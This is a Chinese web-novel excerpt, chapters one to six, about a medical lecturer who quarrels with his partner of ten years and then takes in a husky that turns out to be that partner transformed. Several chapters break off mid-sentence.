《分手后前任变成了狗》 1. 第 1 章 《分手后前任变成了狗》全本免费阅读 放在桌上的手机“嗡”地响了一声。 “今晚我不回去吃饭了。” 喻熙瞥了一眼屏幕,没回复,将手机倒扣过去,捏着笔,低头专心将数据填在表格里。 表格中的字迹隽秀好看,是在医学院,甚至是整个学校都少见的好看。 同事陈生推门进来还器材,看见喻熙还在低着头记数据,等着他把字写完才伸手拍了下他的肩:“喻哥,今天520啊,上了一天课还在理数据,你家那位没给你准备点什么节目?” 喻熙眸色微黯,抿着唇沉默了几秒后,声音却轻快道:“他最近公司忙,晚上很晚才回。” 陈生“哎”了一声:“那等会儿咱俩一起去吃个饭?上次你帮我改论文我还没谢你呢。” 喻熙刚提笔准备继续写数据,听到他问的话后笔尖一顿,低声道:“改天吧,课题的数据出问题了,我再看看。” 陈生看着他疲倦又有些苍白的脸色,叹了口气,心说自己这位同事确实有种破碎的美感,不怪那些学生喜欢围着他转。 “行吧,你压力别太大了,今天不行还有明天呢,这两天你一点精神都没有,没见过你这么累的研究生导师,”陈生说,“早点回家休息啊。” 说完,他在办公桌上留下一块巧克力,离开了实验室。 喻熙写字的手停了下来,盯着那块巧克力看了半晌,慢慢将外面的锡纸剥开。专属黑巧克力的浓郁苦味弥漫在舌尖,苦得他轻轻打了个哆嗦。 窗棂将楼后的斜阳分成了几块,斜斜地落在地上。喻熙长久地看着一地零碎的阳光,半晌叹息一声,捏了捏眉心,课题不顺和感情问题的双重压力压在肩上,觉得自己确实有点累。 他谈了十年的爱人闵嘉胥是个男人,这件事他没刻意瞒过同系的同事们。而闵嘉胥又是个特别高调的人,最初那几年碰上“520”或者“情人节”这种日子,总是会大包小裹地往学校给喻熙送礼物,甚至办公室的同事也能分到不少。那会儿所有人都知道喻熙有个特别爱他的男朋友,也很欢迎闵嘉胥带着礼物来找喻熙下班。 但现在有什么东西好像变了。 缺席的节日,不再秒回的微信,甚至是偶尔的夜不归宿,都让他嗅出了不同寻常的意味。 门外响起一阵喧闹声,学生打闹着路过,将他从沉思中惊醒。他看了一眼时间,也不想再和这堆数据继续耗下去了,起身将实验室的器材和书本收拾好,准备回家。 五月末的望海天气渐渐转热,路边的水果摊已经应季摆上了切开的西瓜。喻熙在其中一个摊位前驻足,下意识地拿出手机想问闵嘉胥要不要吃水果,动作做了一半忽地停下。 闵嘉胥今晚不回家呢。 那他上赶着给人买水果做什么?人家又不一定领情。 喻熙越想越烦躁,“啧”了一声。 其实他也不知道“爱人不回家”这件事该怎么处理,这似乎不算是两人长达十年的爱情中发生的最严重的问题,可和其他鸡零狗碎的琐事叠加起来,却变得山一样重, 他心里憋着一股火,随便找了家快餐店准备把晚饭对付着吃了,排队点单的时候听见身后两个女生在小声说话: “你知道咱公司的那个谁吗?和老婆结婚八年了居然出轨诶......” “什么嘛根本想不到,以为他是个好人嘞。” “怎么可能想不到啦,男的出轨是有征兆的,比如忽然不爱交流比如夜不归宿啦.....” “这男的真不要脸啊。” “其实很多人在一起时间久了都是这样啦,话越来越少,各过各的,变成最熟悉的陌生人喽……” 喻熙垂眸接过自己的餐盘,和她们擦肩而过回到座位上,近乎食不知味地吃完了这一餐,回到街上时才回过神来,可脑海里一直盘旋着刚才听见的话—— 出轨都是有征兆的,比如忽然夜不归宿。 他从未真正地将“出轨”这个词扣在闵嘉胥身上,因为他潜意识地觉得自己爱了十年的人不会做出这样的事,可人心的保质期好像就是不长。 回家问问吧,喻熙边走边想,问问闵嘉胥到底在忙些什么,问问他到底为什么最近这么晚都不回家,问问他...... 喻熙抬眸,思绪倏地顿住了。 小区门外停了一辆他很眼熟的车,闵嘉胥正站在车前,笑容满面地和另一个人说话。 那人是个小男生,看起来年龄不大,仰头看着闵嘉胥,眼中满是对前辈的孺慕之情。 闵嘉胥也满脸笑容,不知道说了些什么,把孩子逗得笑弯了腰,两个人站得挺近的,男孩再往前一点就能碰到闵嘉胥了。 氛围真好。 喻熙站在香樟树的阴影下静静地看着两个人聊天,闵嘉胥似乎说了句“我送你”,但被男孩拒绝了。 他深吸一口气,慢慢走出阴影,声音淡淡道:“闵嘉胥。” 他的爱人回头,眼中掠过一闪而过的惊慌:“哥?你不是说这两天有课题很忙,会晚点回家吗?” 喻熙抿了下唇,反问:“你不是说今晚不回家吃饭吗?” 两个人就这么沉默地站在晚上六点最后一丝斜阳里,彼此之间似乎隔了一层薄薄的厚障壁。 亲密无间的爱人开始有了秘密,无论如何都不是什么好兆头。 半晌,喻熙垂眸,低声道:“算了,回家吧。” 闵嘉胥咳了一声,有些手足无措地跟在他身后,动了动唇,咬牙开口道:“我......我今晚确实是不回家吃饭了,我就回来换个衣服,然后......然后有个会要开,得回公司。” 喻熙没说话。 闵嘉胥被这沉默的氛围闹得有些喘不过气,又开口道:“你不高兴吗?谁惹你了?” 喻熙原本正摸钥匙准备开门,闻言动作倏地一顿,声音听不出喜怒:“谁惹我了,这话你也问得出?” “我......” 闵嘉胥心里哆嗦了下,似乎想到了什么,声音倏地拔高了几分:“啊那个......那个小孩是新来的实习生,我让他和我一起回来取文件的,你别多想。” “我没多想啊,”喻熙说,“你不用和我解释。” 他开门的动作停了下来,两人就这么站在一片树影下。喻熙在台阶上,闵嘉胥在台阶下,他低头望向自己的爱人,觉得有些头晕目眩。 闵嘉胥张了张嘴,可他本身就嘴笨,憋了半天只能说:“别多想,不是你想的那样。” “你也知道我想的是哪样吗?” 喻熙问出这句话时气得手有些发抖。 他平时不是一个情绪化的人。作为年岁稍长的爱人,他为人处世也比闵嘉胥成熟太多。如果不是这个时间段撞上这件事,他一定不会就这样站在家门口开始质问爱人,可眼下偏偏赶上了连轴转的实验和不顺利的课题,让他心里那杆名为“冷静”的天平摇摇欲坠。 无论情绪再怎么稳定,人终究不是设定好的机器。 闵嘉胥咽了口唾沫, 2. 第 2 章 《分手后前任变成了狗》全本免费阅读 “喻熙!” 闵嘉胥看着他的背影,声音气急败坏:“真分手了你别后悔!” 可喻熙头也没回,甚至没再多答复他一句话,径直沿着楼梯走了上去,压根就没有松口让闵嘉胥回家的意思。 闵嘉胥重重地“啧”了一声,正准备拉下脸冲过去,口袋里的手机却忽地震了起来。 “你在哪呢?” 来电话的是他的大学同学唐鸿信,也是他公司的合伙人:“全世界都等着你呢,你回去换个衣服要换一个世纪吗?甲方等得烦了要走了。” 闵嘉胥压下心头的憋屈,烦躁道:“知道了知道了,马上过去。” 对面声音顿了下:“谁惹你了?” 和他刚才没过脑子问喻熙的话如出一辙。 闵嘉胥的脸色彻底黑了,一面转身向自己的车走去,一面咬牙切齿道:“关你屁事。” “好好好,不关我事,”唐鸿信知道不能触他霉头,于是顺着他的意思接着说,“公司等你,速来。” *** 闵嘉胥下午开会的时候衣服被打翻的咖啡弄脏了,原本准备回家换个衬衫,但没想到和喻熙在门口吵了一架,彻底打乱了他换衣服的计划。 唐鸿信看见他依旧有一大块污渍的衬衫时愣了下:“你没换衣服啊?” “别提了,”闵嘉胥说,“先开会吧。” 唐鸿信和他是大学同学,都学的计算机。那会儿闵嘉胥受了“大学生创业”的影响,课余时间在外面自己租了个小写字间,每天下课了就和唐鸿信钻进里面搞游戏研发。刚开始他们只能做出来网页小游戏,快毕业时终于研究出来了一个大项目,靠着这个项目成立了工作室,而后又将工作室慢慢发展成了公司。 但是现在经济不景气,他们的游戏公司也受到了影响。今天连开的两个会,都是谈新项目和赞助的事。 闵嘉胥脑袋里乱乱的,满心惦记着喻熙不对劲的情绪,有些懊恼地在会议桌下摆弄着水笔,垂头丧气地像个被老师教育过的小学生。 等送走了甲方,唐鸿信这才有时间来拷问自己的合伙人:“甲方问你话呢,问了三遍你回答了一个‘哦’,你对甲方不满意?上个月差点发不出工资你还敢对甲方不满意?” 闵嘉胥长出了一口气,抱着头坐在椅子上:“哥要和我分手,我烦着呢。” “那你这是......” 唐鸿信斟酌了一下,说的话尽量委婉了点:“情场职场都失意啊,也太惨了。” “主要是我没弄懂为什么,”闵嘉胥说,“他为什么突然就生气了啊?” 开完会后会议室里就剩他们两个了,唐鸿信索性倒了杯水递给他,却被闵嘉胥拦下了。 “不喝水,想喝酒。” 闵嘉胥烦躁地叹了口气:“陪我去楼下喝一杯。” 他们公司坐落在望海的开发区科技园,后巷有酒吧一条街,很多打工人白天科技园上班,晚上就来这里小酌两杯。闵嘉胥酒量差不常来,唐鸿信倒是这里的常客,轻车熟路地带他去了一家自己常去的清吧。 “今天小林下班么,我正好送他一程。” 闵嘉胥刚落座,就迫不及待地开始和唐鸿信倾诉:“正好被我哥在门口看见了,然后他就生气了。他一生气我也跟着上头,就......” “就怎么了?” “就说要分手了。” 闵嘉胥接过侍应生递过来的酒喝了一口:“我真不是故意要说的,气氛都到那儿了我们俩都挺冲动的。” 唐鸿信“啊”了一声:“喻哥那样的人你也能惹生气,你确实挺逆天的。” “不是我......” “别狡辩了弟弟,”唐鸿信说,“咱仨同一个大学的,喻哥什么性格我还不知道吗?肯定是你惹他生气了。” 恰巧和唐鸿信相熟的酒保路过,笑着调侃道:“唐老板又来当情感导师了?” 闵嘉胥这会儿酒劲上来了,一想起下午的事就难受:“算了,想不明白,来都来了,开个单身派对吧,庆祝我单身,我不惯着他了。” “我自己公司的事都没捋明白,一堆合同要签一堆甲方要见,他说我没关心他没在乎他的压力,那他在乎我了吗?看见我和助理从车上下来就生气,那他想听我解释吗?他根本不想,把我损得和孙子一样。” 闵嘉胥竹筒倒豆子似的将所有事都倒了出来,越说越上火,一拍桌子从口袋里摸出一张信用卡放在吧台上:“为了庆祝我分手了单身了,今晚在场所有人的酒我买单!” 在座的客人们巴不得有这样的老板撒钱,不少人一齐开始起哄,让清吧瞬间热闹了起来。 唐鸿信看着他,冷笑一声:“神经病。” “我神经病?”闵嘉胥说,“对,我神经病,我再对他有想法找他复合我就是狗。” 细数两个人谈恋爱这十来年,其实争吵摩擦并不少,闹到差点要分手的地步也不是没有过,只是现在闵嘉胥觉得自己好像有些力不从心,实在没法同时处理好两边的事。 “公司这边最近确实困难,这我知道,但是喻哥知道吗?”唐鸿信问,“你没和他说过吧,你没说人家怎么知道你难啊?” “既然喻哥说你不关心他,那人家肯定是和你说过人家的不顺心,这你没放在心上就是你的问题了。” 闵嘉胥猛地抬眸,两眼通红地看着他,有些愣愣地“啊”了一声。 “啊什么啊?” 唐鸿信瞪了他一眼:“你不会现在才意识到这个问题吧?” 给他说对了。 之前闵嘉胥忙得脚打后脑勺,在公司转成了一个陀螺。但他平时算是个有点大男子主义的人,下意识地就觉得自己作为家里最赚钱的那个,不应该向爱人倾诉这些不好的负面的事情,可现在他却因为这个在怪喻熙没有理解自己。 唐鸿信说得对,他这气生得就像个神经病。 “想明白了?” 唐鸿信看他一脸呆滞地坐着,知道自己这位合伙人的大脑应该是回归原位了,冷哼一声:“回去给喻哥跪下道歉吧。” “我......我不,”闵嘉胥还在嘴硬,“我和他复合我就是狗,每次都是我去哄他,没有我一直吃亏的道理。” 他现在酒没喝完半杯,但满脸通红,一看就知道真喝多了。唐鸿信把酒杯从他的手上取下来,拍了下他的肩:“喻哥要是气出什么好歹来,那心疼的不还是你么?” 说的特别有道理,但闵嘉胥要脸,不太想承认。 “再说了,现在我们推进的那个项目,还有你周末抽空去考察的那个犬舍,那不都是你计划给喻哥的惊喜吗?” 唐鸿信觉得如果真有“救人一命胜造七级浮屠”这种事,那他现在积下来的功德已经可以盖十座塔了:“而且本来就是你错的多,是你没好好给人家说自己的难处,也是你没解释你和小林的关系,让人家本来压力就大还误会,对吧?” 对的。 3. 第 3 章 《分手后前任变成了狗》全本免费阅读 喻熙在一阵手机的铃声中醒了过来。 这会儿天光大亮,清晨的阳光从落地窗中照进来,落在人身上,照得他暖洋洋的。 喻熙伸了个懒腰,刚坐直身子,胃忽地抽搐似的疼了一下,让他轻轻“嘶”了一声,去摸眼镜的动作顿了下,额上冒出了细密的冷汗。 昨天的冷快餐吃得他食不知味,回家路上又和闵嘉胥轰轰烈烈地吵了一架,吵得他心烦意乱,缩在沙发上看文献看到下半夜睡着了,第二天醒来后等着他的就是现在不要命但难受的胃疼。 闵嘉胥不在家,没人提前给他烧水也没人盯着他吃药了。 喻熙咬着牙去把吃药的水烧上,掰了块面包吃了后胃里的灼烧感减轻了不少,这才想起来把他从睡梦中喊醒的手机铃。 屏幕亮起的时候,他说不上心里是什么滋味,下意识地期待是闵嘉胥来的求和电话。 就像从前很多次那样。 可给他打电话的却是陈生。 喻熙垂眸,脸色微冷,抿着唇给陈生拨了回去。 “喻哥,你没事吧?” 电话很快接通了,陈生的声音在对面响起:“今天早上你怎么没来学校啊?” “我......” 喻熙捏了捏鼻梁,轻轻叹了口气:“胃疼,有点难受,下午再去。” “没事吧你?”陈生有点担心,“哦对,有份文件要你签字,我让你学生给你送过去了。” 学生? 喻熙愣了下:“谁啊?他知道我家在哪吗?” “你那个课题组组长啊,”陈生说,“叫池俊飞那个小孩,出门有一会儿了,说不定快到了......” 可是他好像没和别人提过他住在哪里啊? 是闵嘉胥那个大嘴巴之前哪次去学校看他的时候说漏了吗? “行,我知道了,我去门口迎他一下。” 喻熙一边说着,一边去推门,推了一下却忽然觉得门外好像有什么东西挡着,阻力特别大。 他微微蹙眉,手上加了点力气,这才慢慢把门打开。 刚打开,他就低声说了句“卧槽”。 陈生听他罕见地爆了句粗口,有些担心道:“怎么了?怎么突然骂人了?” “不是。” 喻熙舔了舔唇,低头看向家门口的地毯:“你能来我家帮我一个忙吗?地址我一会儿发你。” “我家门口不知道为什么躺着一条狗,我搬不动。” *** 陈生到的时候,远远就看见喻熙家半敞着门,那只莫名其妙出现的狗就卡在门里门外。 陈生吹了声口哨,将手上的一个文件袋扬了一下:“喻哥,小区大门口遇见了你那个组长,于是我顺便把要你签的文件也带来了,我怎么进去?” 喻熙倚在门框上,淡淡道:“跨过狗进来就行。” 陈生小心翼翼跨过地上躺着的狗,把那份文件放在玄关的柜子上,将室内的装潢环顾一周,感叹道:“喻哥,没想到你们真的是大户人家。” 喻熙住的小区前半区是独栋小别墅,后半区是公寓。别墅虽然不大,但室内的装潢却很温馨,灯光和壁纸都是暖色调,让人一进来就有种“家”的感觉。 “所以池俊飞怎么知道我住在这里的?” 吃了早餐又吃了药,现在喻熙的胃舒服了不少。他从橱柜里拿出了一个玻璃杯,准备给陈生倒杯水:“我记得我没和人说过我住在哪。” “他不是你组长么?可能是从学校征集信息的表格上看见的。” 陈生说着低头打量地上躺着的狗:“话说回来,为什么你家门口会突然出现一只狗?” “不知道,醒来就在了,”喻熙把手上的水杯递给他,“方便的话可以帮我把狗搬进来看看是不是哪里受伤了吗?” 陈生喝了口水才意识到有哪里不对:“你家那位呢?怎么不喊他回来帮忙?” 喻熙的动作顿了下,思索片刻后道:“吵架了,他要分手,准备分家了。” 陈生顿时感觉自己如坐针毡。 在学校作为“导师”的喻熙一向是严格的,包括本组的学生都曾在背后说过自家导师面冷心冷,长得好看但感觉根本捂不热。而陈生也从没见过喻熙的情绪有过什么波动,哪怕是现在和他陈述“分手”这件事时,语气也更像在说某个数据不对一样平静。 按理说谈了十年恋爱的爱人说分手,不说以泪洗面,至少也得是黯然神伤,怎么喻熙依然这么冷静? 他大脑飞速转动的时候,已经自然而然地起身准备帮喻熙搬狗。 这是一只哈士奇,身上黑白相间的毛发摸起来十分柔顺,看着应该经常有人打理,不像是流浪狗。 “这谁家的狗跑出来了吧?”陈生说,“你去小区群问问谁家哈士奇丢了。” “我问过了。” 喻熙简单地摸过狗的身周,检查狗的身上有没有伤口:“要么丢的不是哈士奇,要么家里没有哈士奇。” 狗很健康,没有伤口,甚至连磕碰的地方都没有。 喻熙学的是治人的医学,不太能治得了狗,而他也知道对于动物来说,身上没有伤口不意味着真的没有任何病灶。 “保险起见还是带去宠物医院看看吧,”陈生蹲在地上说,“咱这专业也确实不太对口。” 他说完,用手机喊了辆货拉拉来,一边订车一边问:“万一狗真的有什么事你要出钱给他治病吗?” 喻熙点了点头。 “哎你也真是......” 陈生“啧”了一声:“我老在短视频平台上看见有人捡到猫狗,去做检查发现是得病了被丢掉,千辛万苦花了大价钱治好后原主人上门要领动物走的......别太当老好人吧。” 喻熙原本正轻轻抚过哈士奇柔软毛发的手顿了下,微不可闻地叹了口气,轻声说:“也是条生命呢,治好了没人养就我养着,有主人来找就还回去,至少他还能有个家。” 他说着,想起了两周前和闵嘉胥发生的一次小小的不快。 那会儿也是早上,他开门取牛奶的时候发现门口趴着一只小博美,正有气无力地低声叫着。喻熙看着心里难受,抱回家后给喂了点切碎的鸡肉末,小狗这才看上去稍微有了点精神,在家里的各个角落嗅嗅闻闻。他把狗的照片拍到小区群里,不一会儿就有个年轻女孩上门来领狗。 女生抱着狗嚎啕大哭,满是失而复得的喜悦。小博美被主人抱着,似乎也安心了不少,轻轻舔着女生的手,似乎在安慰她让她不要伤心。 喻熙心底某个很深的角落被触动了一下 4. 第 4 章 《分手后前任变成了狗》全本免费阅读 三个小时前,陈生叫来的货拉拉司机看见躺在地上的狗时愣了下,小心又警惕地问道:“这狗是......” “想多了,我们不是狗贩子,”陈生说,“这哈士奇是自己晕倒在我同事家门口的。” 司机有笑了下:“我不是那个意思,就是我姑娘养的也是这个品种的狗,所以多嘴问问。” 喻熙收拾完东西从书房出来,就看见货拉拉司机正拉着陈生看手机。 “现在闺女去外地念大学,天天就我给狗铲屎,我一天两次地遛狗,人家周末视频的时候一句话也不问候她爸,吵着要我拍狗......” 越过陈生的肩,喻熙能看见司机手机里全是一只哈士奇的照片,有夫妻俩和狗的合影,也有女孩和狗的合影,还有很多狗莫名的丑照,吃饭的遛弯的睡觉的,什么都有。 虽然说的话像是嫌弃,但司机的表情和语气却听不出一点嫌弃,反而有种向别人炫耀孩子的感觉。 陈生没养过狗,不知道该怎么接茬,刚有些尴尬地挠挠头,就听喻熙在身后说:“之前我去上大学,也是我爸妈帮我照顾狗。” “你爸妈帮你照顾狗?” 陈生有些稀奇,趁着和司机一起把狗抬去后备箱时低声道:“路哥,没听说你养过狗啊。” 喻熙的动作顿了下,垂眸:“......很早之前了。” 陈生敏锐地察觉出他神情的低落,转移话题:“司机大哥好健谈,一言不合就给我看他的儿子。” “我们养猫养狗的都这样,”喻熙笑了下,“都觉得自己养的毛孩子最可爱,所以想给大家看看。” 两人说话间,司机已经把他们送到了离得最近的一家宠物医院。 去医院之前,喻熙已经打电话过来打好了招呼,立刻就有医院的工作人员过来帮忙把哈士奇从货拉拉上转移下来。 司机看着忙里忙外的几人,从口袋里摸出一沓便签纸,撕下其中一页写了串电话号码,递给喻熙:“很多司机不愿意拉宠物,但我家也养狗,我不介意。以后要是想带狗出去玩,搬家或者来医院体检,你都可以打电话给我,我不收你钱。” 喻熙怔愣片刻,下意识地点了点头,待回过神后微微蹙眉:“太麻烦了。” “没什么麻烦的,”司机笑了下,“都是家长,互相帮忙应该的。” 他说完摆了摆手:“我继续跑单子去了,有需要你喊我。” 喻熙攥着那张字条,看着货拉拉开远。兴许是很久没收到过这么直白而毫无目的的善意了,他觉得手心里的字条好像正微微发烫。 陈生拍了拍他的肩:“走了,狗抬进去了。” 喻熙这才回过神,跟着他一起走进了宠物医院。 闵嘉胥和他买的房子位于一座高档小区里面,当时看楼盘的时候宣传语就是“为业主提供最便捷的生活服务”。而这所三公里内的宠物医院营业对象大部分也是小区的业主,上上下下总共四层,这会儿一楼的等待区还有几个提着猫箱等待给猫体检的毛孩子家长。 哈士奇四仰八叉地躺在检查台上,医生正低头写上一位病狗的病历,头也不抬问道:“狗叫什么名字?” 陈生和喻熙都愣在了原地。 狗是捡来的,还没来得及取名字呢。 医生写完病历,抬头望向喻熙。 喻熙情急之下脱口而出:“闵嘉胥。” 医生摸了摸鼻子:“名字挺好,还有名有姓的。” 陈生戳了下喻熙:“那不是你男朋友的名字吗?” “前男友,”喻熙面无表情,“他连狗都不如。” 陈生咽了口唾沫,假装没听见这句话。 多年的经验告诉他,一般情侣吵架不要随便参与,万一两个人后来和好惨的还是自己。 “闵嘉胥体检一套,准备抽血,”医生不知道这个名字背后的故事,喊来两个护士帮忙,“闵嘉胥来医院前吃东西了没有?” 喻熙摇摇头:“没有喂东西吃。” 抽血化验很快,喻熙和陈生在门外还没坐一会儿就被通知去取化验报告单。喜报是哈士奇本身很健康,骨头完好,内脏也没有出血。 “昏倒可能是因为低血糖。” 医生一边翻看报告单一边说:“他应该已经超过24小时没吃饭了,回去要喂食的话最好先喂点流食,汤罐,羊奶什么的,慢慢来,明天再吃狗粮也行。” 他说完掀开狗腿看了一眼,“咦”了一声:“这个岁数怎么没绝育啊?要顺便绝育吗?” 陈生戳了喻熙一下:“别吧,万一他主人找来怎么办?” 喻熙动作很轻地摇了下头,对医生道:“他身体确认没有什么大问题的话,那就顺便绝育了吧。” 医生给他加开绝育的单子,刚转过身,就看见躺在台子上的狗动了下,继而睁开了眼。 这会儿隔壁办公室里不知道在干什么,三分真实七分卖惨的猫叫声极具穿透性地传了过来。外面溜溜达达过去了一只萨摩耶,正看着护士手里的狗零食流口水,嘴里呜呜嘤嘤地卖萌讨吃的。 而这只突然醒来的哈士奇在这一众混乱里安静得有些格格不入。 他先是把狗头对准了窗玻璃,而后倏地睁大了眼睛,继而张开嘴鬼哭狼嚎起来,完美地融入了周遭原本的混乱之中。 “好像醒了,还得再麻醉一下,”医生说,“麻醉后得送到手术室,家长先出去吧。” 他话音刚落,护士还没来得及进来给狗打麻醉,就见一道黑白相间的影子猛地窜到地上,继而从开着的办公室门冲到了外面,一路连滚带爬地逃去了一楼。 事情发生得太突然,相对安静的一楼也变得兵荒马乱起来,原本被关在笼子里的几只狗看见如此疯狂的同类,也被吓得夹住了尾巴。 还好几个男护士原本就在前台旁边休息,见到有狗冲了出来,连忙把宠物医院的大门关好,继而虎视眈眈地将哈士奇围住,如果他要伤人,定立刻将狗拿下扭送去绝育。 可这只发狂的哈士奇好像并不想伤人,见退路和出路都被堵住,也只是很烦躁地原地踱着步,不停地扬起头用鼻子嗅着空气中的味道,一双蓝黑鸳鸯眼中似乎满是不安和急迫。 其中一个男护士和别人使了个眼色,站在狗身后的那人立刻会意,继而出其不意地向前一扑,控制住哈士奇的腰身和后腿 5. 第 5 章 《分手后前任变成了狗》全本免费阅读 喻熙和哈士奇回家的时候大包小卷地带了很多东西。 狗零食,狗咬棒,狗食碗......都是医院送的。 原本喻熙歇了点收养哈士奇的心思,但陈生说好歹这只狗救了他半条命,更何况之前喻熙不也说想养条狗么? 其实很早之前喻熙不是这样一个遇事多虑瞻前顾后的人,但随着年岁的增长,他好像越来越缺年少时的那股冲劲和自信,变得有些畏首畏尾。 “这有什么好怕的?”陈生听了他的顾虑,拍了拍他的肩,“又不是完全没时间遛狗,你现在很多担心的事都没发生呢,关关难过关关过呗。” 喻熙站在家门口,看着陈生离开,觉得他说得也有理。 先养着试试看呗。 他打开家门时,原本以为哈士奇会小心翼翼地试探着进门,却没想到刚松开牵引绳,狗就像一支离弦的箭一样窜了出去。 喻熙紧急地再次拉住牵引绳,制止了哈士奇的动作,把狗拽回身边,握着他的嘴筒子,拧着眉警告道:“闵嘉胥,我警告你少作妖,不然后果自负。” 他话音刚落,就察觉到狗似乎打了个冷战。 喻熙慢慢松开手,扬起眉:“听懂了没有?” 狗抬起爪子摸了摸自己的嘴筒子,小幅度地上下点了点头。 喻熙又多看了他几眼,再一次感觉这只哈士奇好像真的能听懂自己讲话。 在领狗回来的路上,陈生问他:“真的要给狗起前男友的名字吗?万一他不乐意怎么办?” “跟他有什么关系?”喻熙冷声道,“我的狗,我爱叫什么就叫什么。” “听着怪别扭的,要么换个名字呢?” 陈生还是觉得狗叫人名不太妥当,积极地想办法:“招财,旺财,旺仔?” 哈士奇似乎知道他们在说什么,低低地叫了几声,用爪子刨了下陈生的裤脚,有些急切地原地踏起步来。 喻熙耸了耸肩:“你看,改名他也不乐意。” “行吧。” 陈生嘟嘟囔囔:“这狗怎么像能听懂人话一样?” ...... 温热的触感碰上喻熙的脸颊,把他从思绪中拽了回来。 他抬眸,就看见哈士奇正咧着嘴傻笑,刚刚摸他脸的爪子还没来得及放下来。 喻熙有点洁癖,当即冷下脸:“没擦脚别碰我。” 他说着站起身,把“闵嘉胥”脖子上的牵引环解了下来:“别拆家,听到了吗?” 狗“汪”了一声,翘着尾巴溜溜达达地进屋了。 *** 闵嘉胥现在的心情其实有点复杂,但新奇感和发现自己还活着的惊讶冲淡了成为一只狗的别扭。 昨晚他头上挨的那一棍子真的很痛,而在他印象里,自己也流了不少的血,感觉应该是致死量。 但他没死,甚至还成了喻熙的狗。 换个人变成狗估计已经崩溃了,但闵嘉胥不是一般人,他天生乐观,能迅速地接受一切发生的事情。 反正都发生了,崩溃也没用,不如想想作为一只狗能干什么。 他一边这么想,一边先溜进了书房。 书房转椅的椅背上还搭着一件西装衬衫,是他那天想回来换的。公司的招商文件和喻熙的医学文献乱糟糟地混在一起,足以看得出两人的亲密。 闵嘉胥仰头望着那一沓A4纸,轻轻叹了口气。 他现在最后悔的不是昨晚在门口头上挨了一棒子,而是气上头和喻熙说了重话也没机会道歉。 哈士奇垂头丧气地从书房出来,贴着墙根溜达到了客厅,在沙发上嗅了嗅。 变成狗后,他发现自己无论是听觉还是嗅觉都比人类强了千百倍,不仅能听得懂猫猫狗狗说的话,而且还能隔着三条街就闻到烤面包的香味。 而现在让他比较安心的是,这个家目前只有他,喻熙,和刚才那个同事陈生的气味。 没有人来过家里。 这个发现让闵嘉胥有点亢奋,小跑着去厨房找人,却看见喻熙正打开储物柜从里面拿出来了一袋方便面。 喻熙有着大部分医生都有的胃病,但却格外钟爱这些垃圾食物。闵嘉胥平日在家时会盯着他不让他吃,可闵嘉胥只要一不在家,就没法管喻熙吃了什么。 现在他又要吃泡面了。 闵嘉胥急得在他脚下打转,伸爪子拽了下喻熙的裤脚。 喻熙正准备把面饼下锅,一低头,看见狗正在自己脚边打转:“怎么了?” 闵嘉胥自然没法回答他的问题,有些急促地低叫了几声,目光落在他手里的面饼上,舔了舔嘴。 喻熙也顺着他的目光看了过去,恍然:“饿了?” 不是。 闵嘉胥有苦说不出,又急促地叫了两声,却再一次被人误解了。 医生说狗至少有24小时没进食,又是体检又是化验的折腾一天,现在外面天都黑了,说不准狗已经饿两天了。 第一次喂食应该喂流食或湿粮,于是喻熙从医院带回来的大袋子里翻了一会儿,拿了一小罐犬用奶昔出来,倒进了狗食碗里。 哈士奇围着食碗转了一会儿,端端正正地坐了下来,没有要吃饭的意思。 喻熙还是第一次养到这么有主见的狗,觉得有点意思,于是也在地上和狗对着坐下:“不吃?” 狗没动作,又舔了舔嘴。 “那你想吃什么?”喻熙问,“我警告你,太挑食就饿着。” 狗慢慢站起来,踱到冰箱旁站好,伸出爪子扒拉了两下冷藏柜的门,居然直接把柜门打开了。 喻熙扬起眉,看着狗探头在各个冷冻格子外闻了一圈,而后对着其中一个叫了两声。 这是和他点餐呢? 喻熙倒是想看看狗点了什么餐,撑着地起身慢慢走了过去,把柜格打开,看见里面的牛排时愣了下。 家里的牛排都是闵嘉胥买的,闵总应酬多了,说这个牌子的牛排好吃,等有空给喻熙做个牛排料理。 可现在牛排料理没做,人也不知道跑哪里去了。 喻熙看着前夫哥买的牛排,扬起眉露出一个有些冷酷的笑:“好啊,会点。” 狗蹲在他脚边,看着他这个笑,蓝黑鸳鸯眼里多了几分心虚。 喻熙把牛排拿出来,一边看手机一边解冻,等牛排解冻好了后放在煎锅里,煎了一会儿,狗又抓了抓他的裤脚。 “怎么了?” 喻熙起先没懂狗的意思,而后恍然,觉得有些好笑:“不是,你还知道吃七分熟的牛排?” 狗移开目光,盯着地砖,尾巴却摇得很欢。 喻熙将牛排翻了个面,把牛排切成条状放进狗碗里,剩下的半块也煎了,当自己的晚餐吃。 吃牛排确实比吃泡面舒服,喻熙久违地抓住了“品尝食物”的感觉。在学校 6. 第 6 章 《分手后前任变成了狗》全本免费阅读 当了快12小时的狗,闵嘉胥一时间没习惯人类的双腿双手,手撑在地上跪了足足五分钟才缓过神来,有些不可思议地看着自己变成人类手掌的五指。 他这是真的变回来了? 闵嘉胥摸索着起身,动作有些踉跄,险些扑倒在地。 他有些心虚地回头,发现喻熙好像并没有什么反应,悄悄松了口气。 平日喻熙睡眠很浅,声音稍微大一点就会醒。有几次他回家晚了怕影响爱人睡觉,都是去书房凑合一晚上的。 只是今晚喻熙好像确实太累了,没听见他窸窸窣窣弄出的动静,依旧睡得很沉。 闵嘉胥松了口气,蹑手蹑脚地手脚并用在地上阴湿爬过,推开卧室门后去了卫生间。 他确实还穿着那件昨晚遇害时穿的衬衫,上面的血迹已经凝固成褐色,像劣质颜料似的染在衣服上,落在他眼中却依旧触目惊心。 闵嘉胥把那件衣服丢进洗衣机,换了件新的T恤,撩起一捧凉水抹了把脸,静静地看着镜子里的自己,有种恍若隔世的感觉。 今天一睁开眼倒影是个狗头的记忆仍历历在目,眼下变回人了好像还有点不习惯。 他叹了口气,撩开额前的碎发,仔细地看向昨晚挨了一棍子的地方。 额上的皮肤平整如初,没有任何骇人伤疤的痕迹。 闵嘉胥不信邪地看了半天,确认浑身上下除了一点血迹以外真的什么也没留下后才慢慢放下手,觉得真的有些不可思议。 他这是真的遇上灵异事件了。 可现在是21世纪,是科学社会,这种事居然也会落在自己身上? 在此之前,闵嘉胥是绝对的唯物主义战士,一切牛鬼蛇神都是纸老虎。 去年夏天喻熙休暑假,他正好也把年假赶着一起休了,和喻熙出国度假。 目的地是一个宗教信仰浓厚的国家,基本人均有信仰。喻熙外婆也信佛,在家里供过观音像,连带着他也对神秘学有了敬畏之心。 参观完一处寺庙后,喻熙去请了香,他漫无目的地在寺庙墙根下闲逛,一个老人慢慢走到他身边,开口是一口流利的中文:“免费看相,看不看?” 